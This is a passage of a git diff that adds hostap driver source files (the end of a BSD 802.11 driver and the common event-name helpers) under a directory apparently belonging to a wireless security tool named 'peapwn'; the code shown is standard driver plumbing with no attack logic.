WPA_KEY_RSC_LEN; i++) { + seq[i] = tmp[WPA_KEY_RSC_LEN - i - 1]; + } + } +#else /* WORDS_BIGENDIAN */ + memcpy(seq, &wk.ik_keytsc, sizeof(wk.ik_keytsc)); +#endif /* WORDS_BIGENDIAN */ + return 0; +} + + +static int +bsd_flush(void *priv) +{ + u8 allsta[IEEE80211_ADDR_LEN]; + + memset(allsta, 0xff, IEEE80211_ADDR_LEN); + return bsd_sta_deauth(priv, NULL, allsta, IEEE80211_REASON_AUTH_LEAVE); +} + + +static int +bsd_read_sta_driver_data(void *priv, struct hostap_sta_driver_data *data, + const u8 *addr) +{ + struct ieee80211req_sta_stats stats; + + memcpy(stats.is_u.macaddr, addr, IEEE80211_ADDR_LEN); + if (get80211var(priv, IEEE80211_IOC_STA_STATS, &stats, sizeof(stats)) + > 0) { + /* XXX? do packets counts include non-data frames? */ + data->rx_packets = stats.is_stats.ns_rx_data; + data->rx_bytes = stats.is_stats.ns_rx_bytes; + data->tx_packets = stats.is_stats.ns_tx_data; + data->tx_bytes = stats.is_stats.ns_tx_bytes; + } + return 0; +} + +static int +bsd_sta_deauth(void *priv, const u8 *own_addr, const u8 *addr, int reason_code) +{ + return bsd_send_mlme_param(priv, IEEE80211_MLME_DEAUTH, reason_code, + addr); +} + +static int +bsd_sta_disassoc(void *priv, const u8 *own_addr, const u8 *addr, + int reason_code) +{ + return bsd_send_mlme_param(priv, IEEE80211_MLME_DISASSOC, reason_code, + addr); +} + +static void +bsd_wireless_event_receive(int sock, void *ctx, void *sock_ctx) +{ + struct bsd_driver_data *drv = ctx; + char *buf; + struct if_announcemsghdr *ifan; + struct rt_msghdr *rtm; + struct ieee80211_michael_event *mic; + struct ieee80211_join_event *join; + struct ieee80211_leave_event *leave; + int n, len; + union wpa_event_data data; + + len = rtbuf_len(); + + buf = os_malloc(len); + if (buf == NULL) { + wpa_printf(MSG_ERROR, "%s os_malloc() failed\n", __func__); + return; + } + + n = read(sock, buf, len); + if (n < 0) { + if (errno != EINTR && errno != EAGAIN) + wpa_printf(MSG_ERROR, "%s read() failed: %s\n", + __func__, strerror(errno)); + os_free(buf); + return; + } + + rtm = (struct rt_msghdr *) buf; + if (rtm->rtm_version != RTM_VERSION) { + wpa_printf(MSG_DEBUG, "Invalid routing message version=%d", + rtm->rtm_version); + os_free(buf); + return; + } + ifan = (struct if_announcemsghdr *) rtm; + switch (rtm->rtm_type) { + case RTM_IEEE80211: + switch (ifan->ifan_what) { + case RTM_IEEE80211_ASSOC: + case RTM_IEEE80211_REASSOC: + case RTM_IEEE80211_DISASSOC: + case RTM_IEEE80211_SCAN: + break; + case RTM_IEEE80211_LEAVE: + leave = (struct ieee80211_leave_event *) &ifan[1]; + drv_event_disassoc(drv->hapd, leave->iev_addr); + break; + case RTM_IEEE80211_JOIN: +#ifdef RTM_IEEE80211_REJOIN + case RTM_IEEE80211_REJOIN: +#endif + join = (struct ieee80211_join_event *) &ifan[1]; + bsd_new_sta(drv, drv->hapd, join->iev_addr); + break; + case RTM_IEEE80211_REPLAY: + /* ignore */ + break; + case RTM_IEEE80211_MICHAEL: + mic = (struct ieee80211_michael_event *) &ifan[1]; + wpa_printf(MSG_DEBUG, + "Michael MIC failure wireless event: " + "keyix=%u src_addr=" MACSTR, mic->iev_keyix, + MAC2STR(mic->iev_src)); + os_memset(&data, 0, sizeof(data)); + data.michael_mic_failure.unicast = 1; + data.michael_mic_failure.src = mic->iev_src; + wpa_supplicant_event(drv->hapd, + EVENT_MICHAEL_MIC_FAILURE, &data); + break; + } + break; + } + os_free(buf); +} + +static void +handle_read(void *ctx, const u8 *src_addr, const u8 *buf, size_t len) +{ + struct bsd_driver_data *drv = ctx; + drv_event_eapol_rx(drv->hapd, src_addr, buf, len); +} + +static void * +bsd_init(struct hostapd_data *hapd, struct wpa_init_params *params) +{ + struct bsd_driver_data *drv; + + drv = os_zalloc(sizeof(struct bsd_driver_data)); + if (drv == NULL) { + printf("Could not allocate memory for bsd driver data\n"); + goto bad; + } + + drv->hapd = hapd; + drv->sock = socket(PF_INET, SOCK_DGRAM, 0); + if (drv->sock < 0) { + perror("socket[PF_INET,SOCK_DGRAM]"); + goto bad; + } + os_strlcpy(drv->ifname, params->ifname, sizeof(drv->ifname)); + + drv->sock_xmit = l2_packet_init(drv->ifname, NULL, ETH_P_EAPOL, + handle_read, drv, 0); + if (drv->sock_xmit == NULL) + goto bad; + if (l2_packet_get_own_addr(drv->sock_xmit, params->own_addr)) + goto bad; + + /* mark down during setup */ + if (bsd_ctrl_iface(drv, 0) < 0) + goto bad; + + drv->route = socket(PF_ROUTE, SOCK_RAW, 0); + if (drv->route < 0) { + perror("socket(PF_ROUTE,SOCK_RAW)"); + goto bad; + } + eloop_register_read_sock(drv->route, bsd_wireless_event_receive, drv, + NULL); + + if (bsd_set_mediaopt(drv, IFM_OMASK, IFM_IEEE80211_HOSTAP) < 0) { + wpa_printf(MSG_ERROR, "%s: failed to set operation mode", + __func__); + goto bad; + } + + return drv; +bad: + if (drv->sock_xmit != NULL) + l2_packet_deinit(drv->sock_xmit); + if (drv->sock >= 0) + close(drv->sock); + if (drv != NULL) + os_free(drv); + return NULL; +} + + +static void +bsd_deinit(void *priv) +{ + struct bsd_driver_data *drv = priv; + + if (drv->route >= 0) { + eloop_unregister_read_sock(drv->route); + close(drv->route); + } + bsd_ctrl_iface(drv, 0); + if (drv->sock >= 0) + close(drv->sock); + if (drv->sock_xmit != NULL) + l2_packet_deinit(drv->sock_xmit); + os_free(drv); +} + +#else /* HOSTAPD */ + +static int +get80211param(struct bsd_driver_data *drv, int op) +{ + struct ieee80211req ireq; + + if (bsd_get80211(drv, &ireq, op, NULL, 0) < 0) + return -1; + return ireq.i_val; +} + +static int +wpa_driver_bsd_get_bssid(void *priv, u8 *bssid) +{ + struct bsd_driver_data *drv = priv; +#ifdef SIOCG80211BSSID + struct ieee80211_bssid bs; + + os_strlcpy(bs.i_name, drv->ifname, sizeof(bs.i_name)); + if (ioctl(drv->sock, SIOCG80211BSSID, &bs) < 0) + return -1; + os_memcpy(bssid, bs.i_bssid, sizeof(bs.i_bssid)); + return 0; +#else + return get80211var(drv, IEEE80211_IOC_BSSID, + bssid, IEEE80211_ADDR_LEN) < 0 ? -1 : 0; +#endif +} + +static int +wpa_driver_bsd_get_ssid(void *priv, u8 *ssid) +{ + struct bsd_driver_data *drv = priv; + return bsd_get_ssid(drv, ssid, 0); +} + +static int +wpa_driver_bsd_set_wpa_ie(struct bsd_driver_data *drv, const u8 *wpa_ie, + size_t wpa_ie_len) +{ +#ifdef IEEE80211_IOC_APPIE + return bsd_set_opt_ie(drv, wpa_ie, wpa_ie_len); +#else /* IEEE80211_IOC_APPIE */ + return set80211var(drv, IEEE80211_IOC_OPTIE, wpa_ie, wpa_ie_len); +#endif /* IEEE80211_IOC_APPIE */ +} + +static int +wpa_driver_bsd_set_wpa_internal(void *priv, int wpa, int privacy) +{ + int ret = 0; + + wpa_printf(MSG_DEBUG, "%s: wpa=%d privacy=%d", + __FUNCTION__, wpa, privacy); + + if (!wpa && wpa_driver_bsd_set_wpa_ie(priv, NULL, 0) < 0) + ret = -1; + if (set80211param(priv, IEEE80211_IOC_PRIVACY, privacy) < 0) + ret = -1; + if (set80211param(priv, IEEE80211_IOC_WPA, wpa) < 0) + ret = -1; + + return ret; +} + +static int +wpa_driver_bsd_set_wpa(void *priv, int enabled) +{ + wpa_printf(MSG_DEBUG, "%s: enabled=%d", __FUNCTION__, enabled); + + return wpa_driver_bsd_set_wpa_internal(priv, enabled ? 3 : 0, enabled); +} + +static int +wpa_driver_bsd_set_countermeasures(void *priv, int enabled) +{ + wpa_printf(MSG_DEBUG, "%s: enabled=%d", __func__, enabled); + return set80211param(priv, IEEE80211_IOC_COUNTERMEASURES, enabled); +} + + +static int +wpa_driver_bsd_set_drop_unencrypted(void *priv, int enabled) +{ + wpa_printf(MSG_DEBUG, "%s: enabled=%d", __func__, enabled); + return set80211param(priv, IEEE80211_IOC_DROPUNENCRYPTED, enabled); +} + +static int +wpa_driver_bsd_deauthenticate(void *priv, const u8 *addr, int reason_code) +{ + return bsd_send_mlme_param(priv, IEEE80211_MLME_DEAUTH, reason_code, + addr); +} + +static int +wpa_driver_bsd_set_auth_alg(void *priv, int auth_alg) +{ + int authmode; + + if ((auth_alg & WPA_AUTH_ALG_OPEN) && + (auth_alg & WPA_AUTH_ALG_SHARED)) + authmode = IEEE80211_AUTH_AUTO; + else if (auth_alg & WPA_AUTH_ALG_SHARED) + authmode = IEEE80211_AUTH_SHARED; + else + authmode = IEEE80211_AUTH_OPEN; + + return set80211param(priv, IEEE80211_IOC_AUTHMODE, authmode); +} + +static void +handle_read(void *ctx, const u8 *src_addr, const u8 *buf, size_t len) +{ + struct bsd_driver_data *drv = ctx; + + drv_event_eapol_rx(drv->ctx, src_addr, buf, len); +} + +static int +wpa_driver_bsd_associate(void *priv, struct wpa_driver_associate_params *params) +{ + struct bsd_driver_data *drv = priv; + struct ieee80211req_mlme mlme; + u32 mode; + int privacy; + int ret = 0; + + wpa_printf(MSG_DEBUG, + "%s: ssid '%.*s' wpa ie len %u pairwise %u group %u key mgmt %u" + , __func__ + , (unsigned int) params->ssid_len, params->ssid + , (unsigned int) params->wpa_ie_len + , params->pairwise_suite + , params->group_suite + , params->key_mgmt_suite + ); + + switch (params->mode) { + case IEEE80211_MODE_INFRA: + mode = 0 /* STA */; + break; + case IEEE80211_MODE_IBSS: + mode = IFM_IEEE80211_IBSS; + break; + case IEEE80211_MODE_AP: + mode = IFM_IEEE80211_HOSTAP; + break; + default: + wpa_printf(MSG_ERROR, "%s: unknown operation mode", __func__); + return -1; + } + if (bsd_set_mediaopt(drv, IFM_OMASK, mode) < 0) { + wpa_printf(MSG_ERROR, "%s: failed to set operation mode", + __func__); + return -1; + } + + if (params->mode == IEEE80211_MODE_AP) { + drv->sock_xmit = l2_packet_init(drv->ifname, NULL, ETH_P_EAPOL, + handle_read, drv, 0); + if (drv->sock_xmit == NULL) + return -1; + drv->is_ap = 1; + return 0; + } + + if (wpa_driver_bsd_set_drop_unencrypted(drv, params->drop_unencrypted) + < 0) + ret = -1; + if (wpa_driver_bsd_set_auth_alg(drv, params->auth_alg) < 0) + ret = -1; + /* XXX error handling is wrong but unclear what to do... */ + if (wpa_driver_bsd_set_wpa_ie(drv, params->wpa_ie, params->wpa_ie_len) < 0) + return -1; + + privacy = !(params->pairwise_suite == CIPHER_NONE && + params->group_suite == CIPHER_NONE && + params->key_mgmt_suite == KEY_MGMT_NONE && + params->wpa_ie_len == 0); + wpa_printf(MSG_DEBUG, "%s: set PRIVACY %u", __func__, privacy); + + if (set80211param(drv, IEEE80211_IOC_PRIVACY, privacy) < 0) + return -1; + + if (params->wpa_ie_len && + set80211param(drv, IEEE80211_IOC_WPA, + params->wpa_ie[0] == WLAN_EID_RSN ? 2 : 1) < 0) + return -1; + + os_memset(&mlme, 0, sizeof(mlme)); + mlme.im_op = IEEE80211_MLME_ASSOC; + if (params->ssid != NULL) + os_memcpy(mlme.im_ssid, params->ssid, params->ssid_len); + mlme.im_ssid_len = params->ssid_len; + if (params->bssid != NULL) + os_memcpy(mlme.im_macaddr, params->bssid, IEEE80211_ADDR_LEN); + if (set80211var(drv, IEEE80211_IOC_MLME, &mlme, sizeof(mlme)) < 0) + return -1; + return ret; +} + +static int +wpa_driver_bsd_scan(void *priv, struct wpa_driver_scan_params *params) +{ + struct bsd_driver_data *drv = priv; +#ifdef IEEE80211_IOC_SCAN_MAX_SSID + struct ieee80211_scan_req sr; + int i; +#endif /* IEEE80211_IOC_SCAN_MAX_SSID */ + + if (bsd_set_mediaopt(drv, IFM_OMASK, 0 /* STA */) < 0) { + wpa_printf(MSG_ERROR, "%s: failed to set operation mode", + __func__); + return -1; + } + + if (set80211param(drv, IEEE80211_IOC_ROAMING, + IEEE80211_ROAMING_MANUAL) < 0) { + wpa_printf(MSG_ERROR, "%s: failed to set " + "wpa_supplicant-based roaming: %s", __func__, + strerror(errno)); + return -1; + } + + if (wpa_driver_bsd_set_wpa(drv, 1) < 0) { + wpa_printf(MSG_ERROR, "%s: failed to set wpa: %s", __func__, + strerror(errno)); + return -1; + } + + /* NB: interface must be marked UP to do a scan */ + if (bsd_ctrl_iface(drv, 1) < 0) + return -1; + +#ifdef IEEE80211_IOC_SCAN_MAX_SSID + os_memset(&sr, 0, sizeof(sr)); + sr.sr_flags = IEEE80211_IOC_SCAN_ACTIVE | IEEE80211_IOC_SCAN_ONCE | + IEEE80211_IOC_SCAN_NOJOIN; + sr.sr_duration = IEEE80211_IOC_SCAN_FOREVER; + if (params->num_ssids > 0) { + sr.sr_nssid = params->num_ssids; +#if 0 + /* Boundary check is done by upper layer */ + if (sr.sr_nssid > IEEE80211_IOC_SCAN_MAX_SSID) + sr.sr_nssid = IEEE80211_IOC_SCAN_MAX_SSID; +#endif + + /* NB: check scan cache first */ + sr.sr_flags |= IEEE80211_IOC_SCAN_CHECK; + } + for (i = 0; i < sr.sr_nssid; i++) { + sr.sr_ssid[i].len = params->ssids[i].ssid_len; + os_memcpy(sr.sr_ssid[i].ssid, params->ssids[i].ssid, + sr.sr_ssid[i].len); + } + + /* NB: net80211 delivers a scan complete event so no need to poll */ + return set80211var(drv, IEEE80211_IOC_SCAN_REQ, &sr, sizeof(sr)); +#else /* IEEE80211_IOC_SCAN_MAX_SSID */ + /* set desired ssid before scan */ + if (bsd_set_ssid(drv, params->ssids[0].ssid, + params->ssids[0].ssid_len) < 0) + return -1; + + /* NB: net80211 delivers a scan complete event so no need to poll */ + return set80211param(drv, IEEE80211_IOC_SCAN_REQ, 0); +#endif /* IEEE80211_IOC_SCAN_MAX_SSID */ +} + +static void +wpa_driver_bsd_event_receive(int sock, void *ctx, void *sock_ctx) +{ + struct bsd_driver_data *drv = sock_ctx; + char *buf; + struct if_announcemsghdr *ifan; + struct if_msghdr *ifm; + struct rt_msghdr *rtm; + union wpa_event_data event; + struct ieee80211_michael_event *mic; + struct ieee80211_leave_event *leave; + struct ieee80211_join_event *join; + int n, len; + + len = rtbuf_len(); + + buf = os_malloc(len); + if (buf == NULL) { + wpa_printf(MSG_ERROR, "%s os_malloc() failed\n", __func__); + return; + } + + n = read(sock, buf, len); + if (n < 0) { + if (errno != EINTR && errno != EAGAIN) + wpa_printf(MSG_ERROR, "%s read() failed: %s\n", + __func__, strerror(errno)); + os_free(buf); + return; + } + + rtm = (struct rt_msghdr *) buf; + if (rtm->rtm_version != RTM_VERSION) { + wpa_printf(MSG_DEBUG, "Invalid routing message version=%d", + rtm->rtm_version); + os_free(buf); + return; + } + os_memset(&event, 0, sizeof(event)); + switch (rtm->rtm_type) { + case RTM_IFANNOUNCE: + ifan = (struct if_announcemsghdr *) rtm; + if (ifan->ifan_index != drv->ifindex) + break; + os_strlcpy(event.interface_status.ifname, drv->ifname, + sizeof(event.interface_status.ifname)); + switch (ifan->ifan_what) { + case IFAN_DEPARTURE: + event.interface_status.ievent = EVENT_INTERFACE_REMOVED; + default: + os_free(buf); + return; + } + wpa_printf(MSG_DEBUG, "RTM_IFANNOUNCE: Interface '%s' %s", + event.interface_status.ifname, + ifan->ifan_what == IFAN_DEPARTURE ? + "removed" : "added"); + wpa_supplicant_event(ctx, EVENT_INTERFACE_STATUS, &event); + break; + case RTM_IEEE80211: + ifan = (struct if_announcemsghdr *) rtm; + if (ifan->ifan_index != drv->ifindex) + break; + switch (ifan->ifan_what) { + case RTM_IEEE80211_ASSOC: + case RTM_IEEE80211_REASSOC: + if (drv->is_ap) + break; + wpa_supplicant_event(ctx, EVENT_ASSOC, NULL); + break; + case RTM_IEEE80211_DISASSOC: + if (drv->is_ap) + break; + wpa_supplicant_event(ctx, EVENT_DISASSOC, NULL); + break; + case RTM_IEEE80211_SCAN: + if (drv->is_ap) + break; + wpa_supplicant_event(ctx, EVENT_SCAN_RESULTS, NULL); + break; + case RTM_IEEE80211_LEAVE: + leave = (struct ieee80211_leave_event *) &ifan[1]; + drv_event_disassoc(ctx, leave->iev_addr); + break; + case RTM_IEEE80211_JOIN: +#ifdef RTM_IEEE80211_REJOIN + case RTM_IEEE80211_REJOIN: +#endif + join = (struct ieee80211_join_event *) &ifan[1]; + bsd_new_sta(drv, ctx, join->iev_addr); + break; + case RTM_IEEE80211_REPLAY: + /* ignore */ + break; + case RTM_IEEE80211_MICHAEL: + mic = (struct ieee80211_michael_event *) &ifan[1]; + wpa_printf(MSG_DEBUG, + "Michael MIC failure wireless event: " + "keyix=%u src_addr=" MACSTR, mic->iev_keyix, + MAC2STR(mic->iev_src)); + + os_memset(&event, 0, sizeof(event)); + event.michael_mic_failure.unicast = + !IEEE80211_IS_MULTICAST(mic->iev_dst); + wpa_supplicant_event(ctx, EVENT_MICHAEL_MIC_FAILURE, + &event); + break; + } + break; + case RTM_IFINFO: + ifm = (struct if_msghdr *) rtm; + if (ifm->ifm_index != drv->ifindex) + break; + if ((rtm->rtm_flags & RTF_UP) == 0) { + os_strlcpy(event.interface_status.ifname, drv->ifname, + sizeof(event.interface_status.ifname)); + event.interface_status.ievent = EVENT_INTERFACE_REMOVED; + wpa_printf(MSG_DEBUG, "RTM_IFINFO: Interface '%s' DOWN", + event.interface_status.ifname); + wpa_supplicant_event(ctx, EVENT_INTERFACE_STATUS, &event); + } + break; + } + os_free(buf); +} + +static void +wpa_driver_bsd_add_scan_entry(struct wpa_scan_results *res, + struct ieee80211req_scan_result *sr) +{ + struct wpa_scan_res *result, **tmp; + size_t extra_len; + u8 *pos; + + extra_len = 2 + sr->isr_ssid_len; + extra_len += 2 + sr->isr_nrates; + extra_len += 3; /* ERP IE */ + extra_len += sr->isr_ie_len; + + result = os_zalloc(sizeof(*result) + extra_len); + if (result == NULL) + return; + os_memcpy(result->bssid, sr->isr_bssid, ETH_ALEN); + result->freq = sr->isr_freq; + result->beacon_int = sr->isr_intval; + result->caps = sr->isr_capinfo; + result->qual = sr->isr_rssi; + result->noise = sr->isr_noise; + /* + * the rssi value reported by the kernel is in 0.5dB steps relative to + * the reported noise floor. see ieee80211_node.h for details. + */ + result->level = sr->isr_rssi / 2 + sr->isr_noise; + + pos = (u8 *)(result + 1); + + *pos++ = WLAN_EID_SSID; + *pos++ = sr->isr_ssid_len; + os_memcpy(pos, sr + 1, sr->isr_ssid_len); + pos += sr->isr_ssid_len; + + /* + * Deal all rates as supported rate. + * Because net80211 doesn't report extended supported rate or not. + */ + *pos++ = WLAN_EID_SUPP_RATES; + *pos++ = sr->isr_nrates; + os_memcpy(pos, sr->isr_rates, sr->isr_nrates); + pos += sr->isr_nrates; + + *pos++ = WLAN_EID_ERP_INFO; + *pos++ = 1; + *pos++ = sr->isr_erp; + + os_memcpy(pos, (u8 *)(sr + 1) + sr->isr_ssid_len, sr->isr_ie_len); + pos += sr->isr_ie_len; + + result->ie_len = pos - (u8 *)(result + 1); + + tmp = os_realloc_array(res->res, res->num + 1, + sizeof(struct wpa_scan_res *)); + if (tmp == NULL) { + os_free(result); + return; + } + tmp[res->num++] = result; + res->res = tmp; +} + +struct wpa_scan_results * +wpa_driver_bsd_get_scan_results2(void *priv) +{ + struct ieee80211req_scan_result *sr; + struct wpa_scan_results *res; + int len, rest; + uint8_t buf[24*1024], *pos; + + len = get80211var(priv, IEEE80211_IOC_SCAN_RESULTS, buf, 24*1024); + if (len < 0) + return NULL; + + res = os_zalloc(sizeof(*res)); + if (res == NULL) + return NULL; + + pos = buf; + rest = len; + while (rest >= sizeof(struct ieee80211req_scan_result)) { + sr = (struct ieee80211req_scan_result *)pos; + wpa_driver_bsd_add_scan_entry(res, sr); + pos += sr->isr_len; + rest -= sr->isr_len; + } + + wpa_printf(MSG_DEBUG, "Received %d bytes of scan results (%lu BSSes)", + len, (unsigned long)res->num); + + return res; +} + +static int wpa_driver_bsd_capa(struct bsd_driver_data *drv) +{ +#ifdef IEEE80211_IOC_DEVCAPS +/* kernel definitions copied from net80211/ieee80211_var.h */ +#define IEEE80211_CIPHER_WEP 0 +#define IEEE80211_CIPHER_TKIP 1 +#define IEEE80211_CIPHER_AES_CCM 3 +#define IEEE80211_CRYPTO_WEP (1<capa.key_mgmt = WPA_DRIVER_CAPA_KEY_MGMT_WPA | + WPA_DRIVER_CAPA_KEY_MGMT_WPA_PSK; + if (devcaps.dc_drivercaps & IEEE80211_C_WPA2) + drv->capa.key_mgmt = WPA_DRIVER_CAPA_KEY_MGMT_WPA2 | + WPA_DRIVER_CAPA_KEY_MGMT_WPA2_PSK; + + if (devcaps.dc_cryptocaps & IEEE80211_CRYPTO_WEP) + drv->capa.enc |= WPA_DRIVER_CAPA_ENC_WEP40 | + WPA_DRIVER_CAPA_ENC_WEP104; + if (devcaps.dc_cryptocaps & IEEE80211_CRYPTO_TKIP) + drv->capa.enc |= WPA_DRIVER_CAPA_ENC_TKIP; + if (devcaps.dc_cryptocaps & IEEE80211_CRYPTO_AES_CCM) + drv->capa.enc |= WPA_DRIVER_CAPA_ENC_CCMP; + + if (devcaps.dc_drivercaps & IEEE80211_C_HOSTAP) + drv->capa.flags |= WPA_DRIVER_FLAGS_AP; +#undef IEEE80211_CIPHER_WEP +#undef IEEE80211_CIPHER_TKIP +#undef IEEE80211_CIPHER_AES_CCM +#undef IEEE80211_CRYPTO_WEP +#undef IEEE80211_CRYPTO_TKIP +#undef IEEE80211_CRYPTO_AES_CCM +#undef IEEE80211_C_HOSTAP +#undef IEEE80211_C_WPA1 +#undef IEEE80211_C_WPA2 +#else /* IEEE80211_IOC_DEVCAPS */ + /* For now, assume TKIP, CCMP, WPA, WPA2 are supported */ + drv->capa.key_mgmt = WPA_DRIVER_CAPA_KEY_MGMT_WPA | + WPA_DRIVER_CAPA_KEY_MGMT_WPA_PSK | + WPA_DRIVER_CAPA_KEY_MGMT_WPA2 | + WPA_DRIVER_CAPA_KEY_MGMT_WPA2_PSK; + drv->capa.enc = WPA_DRIVER_CAPA_ENC_WEP40 | + WPA_DRIVER_CAPA_ENC_WEP104 | + WPA_DRIVER_CAPA_ENC_TKIP | + WPA_DRIVER_CAPA_ENC_CCMP; + drv->capa.flags |= WPA_DRIVER_FLAGS_AP; +#endif /* IEEE80211_IOC_DEVCAPS */ +#ifdef IEEE80211_IOC_SCAN_MAX_SSID + drv->capa.max_scan_ssids = IEEE80211_IOC_SCAN_MAX_SSID; +#else /* IEEE80211_IOC_SCAN_MAX_SSID */ + drv->capa.max_scan_ssids = 1; +#endif /* IEEE80211_IOC_SCAN_MAX_SSID */ + drv->capa.auth = WPA_DRIVER_AUTH_OPEN | + WPA_DRIVER_AUTH_SHARED | + WPA_DRIVER_AUTH_LEAP; + return 0; +} + +static void * +wpa_driver_bsd_init(void *ctx, const char *ifname) +{ +#define GETPARAM(drv, param, v) \ + (((v) = get80211param(drv, param)) != -1) + struct bsd_driver_data *drv; + + drv = os_zalloc(sizeof(*drv)); + if (drv == NULL) + return NULL; + /* + * NB: We require the interface name be mappable to an index. + * This implies we do not support having wpa_supplicant + * wait for an interface to appear. This seems ok; that + * doesn't belong here; it's really the job of devd. + */ + drv->ifindex = if_nametoindex(ifname); + if (drv->ifindex == 0) { + wpa_printf(MSG_DEBUG, "%s: interface %s does not exist", + __func__, ifname); + goto fail1; + } + drv->sock = socket(PF_INET, SOCK_DGRAM, 0); + if (drv->sock < 0) + goto fail1; + + os_strlcpy(drv->ifname, ifname, sizeof(drv->ifname)); + /* Down interface during setup. */ + if (bsd_ctrl_iface(drv, 0) < 0) + goto fail; + + drv->route = socket(PF_ROUTE, SOCK_RAW, 0); + if (drv->route < 0) + goto fail; + eloop_register_read_sock(drv->route, + wpa_driver_bsd_event_receive, ctx, drv); + + drv->ctx = ctx; + + if (!GETPARAM(drv, IEEE80211_IOC_ROAMING, drv->prev_roaming)) { + wpa_printf(MSG_DEBUG, "%s: failed to get roaming state: %s", + __func__, strerror(errno)); + goto fail; + } + if (!GETPARAM(drv, IEEE80211_IOC_PRIVACY, drv->prev_privacy)) { + wpa_printf(MSG_DEBUG, "%s: failed to get privacy state: %s", + __func__, strerror(errno)); + goto fail; + } + if (!GETPARAM(drv, IEEE80211_IOC_WPA, drv->prev_wpa)) { + wpa_printf(MSG_DEBUG, "%s: failed to get wpa state: %s", + __func__, strerror(errno)); + goto fail; + } + + if (wpa_driver_bsd_capa(drv)) + goto fail; + + drv->opmode = get80211opmode(drv); + + return drv; +fail: + close(drv->sock); +fail1: + os_free(drv); + return NULL; +#undef GETPARAM +} + +static void +wpa_driver_bsd_deinit(void *priv) +{ + struct bsd_driver_data *drv = priv; + + wpa_driver_bsd_set_wpa(drv, 0); + eloop_unregister_read_sock(drv->route); + + /* NB: mark interface down */ + bsd_ctrl_iface(drv, 0); + + wpa_driver_bsd_set_wpa_internal(drv, drv->prev_wpa, drv->prev_privacy); + if (set80211param(drv, IEEE80211_IOC_ROAMING, drv->prev_roaming) < 0) + wpa_printf(MSG_DEBUG, "%s: failed to restore roaming state", + __func__); + + if (drv->sock_xmit != NULL) + l2_packet_deinit(drv->sock_xmit); + (void) close(drv->route); /* ioctl socket */ + (void) close(drv->sock); /* event socket */ + os_free(drv); +} + +static int +wpa_driver_bsd_get_capa(void *priv, struct wpa_driver_capa *capa) +{ + struct bsd_driver_data *drv = priv; + + os_memcpy(capa, &drv->capa, sizeof(*capa)); + return 0; +} +#endif /* HOSTAPD */ + + +const struct wpa_driver_ops wpa_driver_bsd_ops = { + .name = "bsd", + .desc = "BSD 802.11 support", +#ifdef HOSTAPD + .hapd_init = bsd_init, + .hapd_deinit = bsd_deinit, + .set_privacy = bsd_set_privacy, + .get_seqnum = bsd_get_seqnum, + .flush = bsd_flush, + .read_sta_data = bsd_read_sta_driver_data, + .sta_disassoc = bsd_sta_disassoc, + .sta_deauth = bsd_sta_deauth, + .sta_set_flags = bsd_set_sta_authorized, + .commit = bsd_commit, +#else /* HOSTAPD */ + .init = wpa_driver_bsd_init, + .deinit = wpa_driver_bsd_deinit, + .get_bssid = wpa_driver_bsd_get_bssid, + .get_ssid = wpa_driver_bsd_get_ssid, + .set_countermeasures = wpa_driver_bsd_set_countermeasures, + .scan2 = wpa_driver_bsd_scan, + .get_scan_results2 = wpa_driver_bsd_get_scan_results2, + .deauthenticate = wpa_driver_bsd_deauthenticate, + .associate = wpa_driver_bsd_associate, + .get_capa = wpa_driver_bsd_get_capa, +#endif /* HOSTAPD */ + .set_freq = bsd_set_freq, + .set_key = bsd_set_key, + .set_ieee8021x = bsd_set_ieee8021x, + .hapd_set_ssid = bsd_set_ssid, + .hapd_get_ssid = bsd_get_ssid, + .hapd_send_eapol = bsd_send_eapol, + .set_generic_elem = bsd_set_opt_ie, +}; diff --git a/peapwn/mods/hostap/src/drivers/driver_common.c b/peapwn/mods/hostap/src/drivers/driver_common.c new file mode 100644 index 000000000..8d1d22eb8 --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/driver_common.c @@ -0,0 +1,92 @@ +/* + * Common driver-related functions + * Copyright (c) 2003-2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include "utils/common.h" +#include "driver.h" + +void wpa_scan_results_free(struct wpa_scan_results *res) +{ + size_t i; + + if (res == NULL) + return; + + for (i = 0; i < res->num; i++) + os_free(res->res[i]); + os_free(res->res); + os_free(res); +} + + +const char * event_to_string(enum wpa_event_type event) +{ +#define E2S(n) case EVENT_ ## n: return #n + switch (event) { + E2S(ASSOC); + E2S(DISASSOC); + E2S(MICHAEL_MIC_FAILURE); + E2S(SCAN_RESULTS); + E2S(ASSOCINFO); + E2S(INTERFACE_STATUS); + E2S(PMKID_CANDIDATE); + E2S(STKSTART); + E2S(TDLS); + E2S(FT_RESPONSE); + E2S(IBSS_RSN_START); + E2S(AUTH); + E2S(DEAUTH); + E2S(ASSOC_REJECT); + E2S(AUTH_TIMED_OUT); + E2S(ASSOC_TIMED_OUT); + E2S(FT_RRB_RX); + E2S(WPS_BUTTON_PUSHED); + E2S(TX_STATUS); + E2S(RX_FROM_UNKNOWN); + E2S(RX_MGMT); + E2S(RX_ACTION); + E2S(REMAIN_ON_CHANNEL); + E2S(CANCEL_REMAIN_ON_CHANNEL); + E2S(MLME_RX); + E2S(RX_PROBE_REQ); + E2S(NEW_STA); + E2S(EAPOL_RX); + E2S(SIGNAL_CHANGE); + E2S(INTERFACE_ENABLED); + E2S(INTERFACE_DISABLED); + E2S(CHANNEL_LIST_CHANGED); + E2S(INTERFACE_UNAVAILABLE); + E2S(BEST_CHANNEL); + E2S(UNPROT_DEAUTH); + E2S(UNPROT_DISASSOC); + E2S(STATION_LOW_ACK); + E2S(P2P_DEV_FOUND); + E2S(P2P_GO_NEG_REQ_RX); + E2S(P2P_GO_NEG_COMPLETED); + E2S(P2P_PROV_DISC_REQUEST); + E2S(P2P_PROV_DISC_RESPONSE); + E2S(P2P_SD_REQUEST); + E2S(P2P_SD_RESPONSE); + E2S(IBSS_PEER_LOST); + E2S(DRIVER_GTK_REKEY); + E2S(SCHED_SCAN_STOPPED); + E2S(DRIVER_CLIENT_POLL_OK); + E2S(EAPOL_TX_STATUS); + E2S(CH_SWITCH); + E2S(WNM); + E2S(CONNECT_FAILED_REASON); + E2S(DFS_RADAR_DETECTED); + E2S(DFS_CAC_FINISHED); + E2S(DFS_CAC_ABORTED); + E2S(DFS_NOP_FINISHED); + E2S(SURVEY); + } + + return "UNKNOWN"; +#undef E2S +} diff --git a/peapwn/mods/hostap/src/drivers/driver_hostap.c b/peapwn/mods/hostap/src/drivers/driver_hostap.c new file mode 100644 index 000000000..16f5563af --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/driver_hostap.c @@ -0,0 +1,1193 